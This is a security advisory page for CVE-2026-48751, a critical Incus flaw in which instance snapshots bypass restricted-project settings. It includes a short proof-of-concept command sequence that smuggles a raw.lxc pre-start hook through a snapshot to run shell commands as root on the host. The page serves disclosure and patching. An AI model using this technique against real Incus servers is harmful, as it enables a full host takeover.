CVE-2026-48751 — incusd
CRITICALCVE-2026-48751 is a critical-severity (CVSS 9.9) CWE-862 vulnerability in github.com/lxc/incus/v7/cmd/incusd. A fix is available for github.com/lxc/incus/v7/cmd/incusd — see the affected versions and patch details below.
Incus has a restricted project bypass leading to arbitrary command execution
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-48751.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/lxc/incus/v7/cmd/incusdReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.
Details
Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.
As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.
In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.
PoC
# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block
# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc
# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc
Impact
- Bypass of project restrictions.
- Arbitrary command execution on the Incus server.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/lxc/incus/v7/cmd/incusd | all versions | 7.2.0go get github.com/lxc/incus/v7/cmd/incusd@v7.2.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lxc/incus/v7/cmd/incusd, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/lxc/incus/v7/cmd/incusd to 7.2.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-48751 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Incus is not shipped in any Red Hat product. The community Fedora package is affected.
No mitigation is needed as Incus is not shipped in any Red Hat product.Source: Red Hat security advisory for CVE-2026-48751 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2026-48751 in your dependencies?
Find it across Go, including transitive dependencies.